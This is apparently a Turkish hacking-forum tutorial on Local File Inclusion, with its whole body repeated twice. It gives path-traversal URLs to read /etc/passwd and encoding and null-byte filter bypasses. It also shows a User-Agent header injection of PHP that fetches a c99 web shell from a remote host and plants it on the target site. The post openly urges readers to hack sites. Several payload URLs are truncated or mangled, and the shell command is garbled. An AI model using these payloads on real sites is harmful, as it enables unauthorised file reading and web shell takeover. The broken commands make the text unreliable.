- 20 Ağu 2017
- 11
- 0
İlk başta açıkları tanıyın daha sonra siteleri hackleyin.
NOT BİR TESEKKURU EKSİK GORMEYİN
1- Local File İnclude Nedir?
LFI (Local File İnclude) Yerel dosya çağırmak anlamına gelir.Bu açık şuanda bu o kadar güncel değildir.Ama bazı sitelerde nadir olarak görülebiliyor.Ben bu açıktan bahsetmeyecektim ama Web Güvenlik Açıkları denildiği zaman tüm WEB UYGULAMALARINI Kapsıyor.Bu sebep yüzünden bahsedeceğim.
2- Local File İnclude Mantığı Nedir?
LFI Açığının mantığı server üzerinde dosyaları okumaktır.Örnek olarak etc/passwd dosyasından bahsedeyim.Serverdaki tüm sitelerin USERlarının bulunduğu dosyadır.Bu açık sayesinde Serverdaki dosyaları okuma şansımız oluyor.
3- Saldırı Anı (Açığın Tespiti)
Bir Web Sayfası düşünün; http://www.site.com/sayfa.php?id=2 şeklinde olsun..Burada LFI Olup olmadığını şöyle anlayabiliriz;
http://www.site.com/sayfa.php?id= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosya bulunamadı şeklinde bir hata varsa orada LFI Olabilir.Peki Hata olarak nasıl bir hatadan bahsediyoruz?
Bize verilen hatadan yola çıkalım;
Warning: include() /home/user/public_html/sayfa.php
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz.
4- Saldırı Anı 2 (Açığın Kullanımı - Aksi Halde Bypass)
Ne demiştik.Sitemizde Warning: include() /home/user/public_html/sayfa.php şeklinde hata aldık.;
Açığı ../../etc/passwd şeklinde etc/password dosyasını okuyarak anlayabiliriz.Fakat burada ../../ dizin sayısı önemlidir.Hatada kaç adet dizin var bakalım;
/home/ -> 1
/user/ -> 2
/public_html/ -> 3
/sayfa.php -> 4
Evet 4 Adet dizin mevcuttur.Koyacağımız ../ işareti 4 adet olmalıdır;
http://www.site.com/sayfa.php?id=../../../../etc/passwd şeklinde...
-HTML Code
HTML kod çeviriciler mevcuttur internet üzerinde.Encode edeceğimiz komut;
Komut: ../../../../etc/passwd
Encode: ..%2F..%2F..%2F..%2Fetc%2Fpasswd
Tekrar deneyelim;
http://www.site.com/sayfa.php?id=../.....c/passwd ve okumak istediğimiz /etc/passwd dosyasını okuduk;
- CharCode
CharCode Mozillanın Hackbar Eklentisinde Mevcuttur.Şimdi tekrardan bir bakalım
http://www.site.com/sayfa.php?id=../../../../etc/passwd şekline okumak istediğimizde tekrar okumuyor.HTML code encode şeklinde yaptık gene başarısız..Şimdi CharCode şeklinde yapacağız;
Komut: ../../../../etc/passwd
CharCode: String.fromCharCode(46, 46, 47, 46, 46, 47, 46, 46, 47, 46, 46, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100)
Evet dönüştürdük.Şimdi tekrar bakalım;
http://www.site.com/sayfa.php?id=String....arCode(46, 46, 47, 46, 46, 47, 46, 46, 47, 46, 46, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100)
Şeklinde okuduk..Dosyamız başarılı bir şekilde okundu ;
- %00
Bu nedir diyeceksiniz.Çok basit bir yöntem aslında.Şimdi linkimizi tekrar göz önüne alalım;
http://www.site.com/sayfa.php?id=../../../../etc/passwd şeklinde okuyamadığımızı farz edelim; Satır sonuna %00 ekliyoruz bu işaret olaya netlik kazandırıyor;
http://www.site.com/sayfa.php?id=../../..../passwd evet bu şekilde okumayı başardık
5- Saldırı Anı 3 (Açığı Kullanarak Siteye Dosya Yedirmek)
Açığın tespitinden bahsettik.Şimdi bu açığı kullanarak dosya dahil edeceğiz.Önce mozillanın tamper data eklentisini kurun.Daha Tamper Data yı açın.Starta tıklayın ve http://www.site.com/sayfa.php?id=../../..../passwd şeklinde sayfayı yenileyin.Önünüze gelen ilk uyarıya TAMPER Şeklinde cevap verin.Karşınıza;
This image has been resized.Click to view original image
This image has been resized.Click to view original image
Şeklinde bir panel gelecek.User-Agent Kısmındaki yazıları silin ve <? system(cat http://www.site.com/c99.txt? -O c99.php ); ?> şeklinde Dosya adresinizi yazın.Yanlız dikkat edin yüklerken dosyayı .txt uzantılı olmasına dikkat edin..Yazdıktan sonra tamam diyoruz.Ve dosyamız dahil edilmiş oluyor;
http://www.site.com/c99.php şeklinde çagırabilirsiniz..
6- Local File İnclude Nerelerde Tespit Edilebilir?
a-) Search kutusu
Bir Search kutusu düşünün;
Buraya LFI Komutunu girip ara butonuna tıklayalım; ../../etc/passwd%00 şeklinde..
Eğer ekrana ;
Şeklinde komutumuz çalışırsa bu demek oluyor ki Search dosyasında LFI Açığı mevcuttur.
NOT BİR TESEKKURU EKSİK GORMEYİN
1- Local File İnclude Nedir?
LFI (Local File İnclude) Yerel dosya çağırmak anlamına gelir.Bu açık şuanda bu o kadar güncel değildir.Ama bazı sitelerde nadir olarak görülebiliyor.Ben bu açıktan bahsetmeyecektim ama Web Güvenlik Açıkları denildiği zaman tüm WEB UYGULAMALARINI Kapsıyor.Bu sebep yüzünden bahsedeceğim.
2- Local File İnclude Mantığı Nedir?
LFI Açığının mantığı server üzerinde dosyaları okumaktır.Örnek olarak etc/passwd dosyasından bahsedeyim.Serverdaki tüm sitelerin USERlarının bulunduğu dosyadır.Bu açık sayesinde Serverdaki dosyaları okuma şansımız oluyor.
3- Saldırı Anı (Açığın Tespiti)
Bir Web Sayfası düşünün; http://www.site.com/sayfa.php?id=2 şeklinde olsun..Burada LFI Olup olmadığını şöyle anlayabiliriz;
http://www.site.com/sayfa.php?id= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosya bulunamadı şeklinde bir hata varsa orada LFI Olabilir.Peki Hata olarak nasıl bir hatadan bahsediyoruz?
Bize verilen hatadan yola çıkalım;
Warning: include() /home/user/public_html/sayfa.php
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz.
4- Saldırı Anı 2 (Açığın Kullanımı - Aksi Halde Bypass)
Ne demiştik.Sitemizde Warning: include() /home/user/public_html/sayfa.php şeklinde hata aldık.;
Açığı ../../etc/passwd şeklinde etc/password dosyasını okuyarak anlayabiliriz.Fakat burada ../../ dizin sayısı önemlidir.Hatada kaç adet dizin var bakalım;
/home/ -> 1
/user/ -> 2
/public_html/ -> 3
/sayfa.php -> 4
Evet 4 Adet dizin mevcuttur.Koyacağımız ../ işareti 4 adet olmalıdır;
http://www.site.com/sayfa.php?id=../../../../etc/passwd şeklinde...
-HTML Code
HTML kod çeviriciler mevcuttur internet üzerinde.Encode edeceğimiz komut;
Komut: ../../../../etc/passwd
Encode: ..%2F..%2F..%2F..%2Fetc%2Fpasswd
Tekrar deneyelim;
http://www.site.com/sayfa.php?id=../.....c/passwd ve okumak istediğimiz /etc/passwd dosyasını okuduk;
- CharCode
CharCode Mozillanın Hackbar Eklentisinde Mevcuttur.Şimdi tekrardan bir bakalım
http://www.site.com/sayfa.php?id=../../../../etc/passwd şekline okumak istediğimizde tekrar okumuyor.HTML code encode şeklinde yaptık gene başarısız..Şimdi CharCode şeklinde yapacağız;
Komut: ../../../../etc/passwd
CharCode: String.fromCharCode(46, 46, 47, 46, 46, 47, 46, 46, 47, 46, 46, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100)
Evet dönüştürdük.Şimdi tekrar bakalım;
http://www.site.com/sayfa.php?id=String....arCode(46, 46, 47, 46, 46, 47, 46, 46, 47, 46, 46, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100)
Şeklinde okuduk..Dosyamız başarılı bir şekilde okundu ;
- %00
Bu nedir diyeceksiniz.Çok basit bir yöntem aslında.Şimdi linkimizi tekrar göz önüne alalım;
http://www.site.com/sayfa.php?id=../../../../etc/passwd şeklinde okuyamadığımızı farz edelim; Satır sonuna %00 ekliyoruz bu işaret olaya netlik kazandırıyor;
http://www.site.com/sayfa.php?id=../../..../passwd evet bu şekilde okumayı başardık
5- Saldırı Anı 3 (Açığı Kullanarak Siteye Dosya Yedirmek)
Açığın tespitinden bahsettik.Şimdi bu açığı kullanarak dosya dahil edeceğiz.Önce mozillanın tamper data eklentisini kurun.Daha Tamper Data yı açın.Starta tıklayın ve http://www.site.com/sayfa.php?id=../../..../passwd şeklinde sayfayı yenileyin.Önünüze gelen ilk uyarıya TAMPER Şeklinde cevap verin.Karşınıza;
This image has been resized.Click to view original image
This image has been resized.Click to view original image
Şeklinde bir panel gelecek.User-Agent Kısmındaki yazıları silin ve <? system(cat http://www.site.com/c99.txt? -O c99.php ); ?> şeklinde Dosya adresinizi yazın.Yanlız dikkat edin yüklerken dosyayı .txt uzantılı olmasına dikkat edin..Yazdıktan sonra tamam diyoruz.Ve dosyamız dahil edilmiş oluyor;
http://www.site.com/c99.php şeklinde çagırabilirsiniz..
6- Local File İnclude Nerelerde Tespit Edilebilir?
a-) Search kutusu
Bir Search kutusu düşünün;
Buraya LFI Komutunu girip ara butonuna tıklayalım; ../../etc/passwd%00 şeklinde..
Eğer ekrana ;
Şeklinde komutumuz çalışırsa bu demek oluyor ki Search dosyasında LFI Açığı mevcuttur.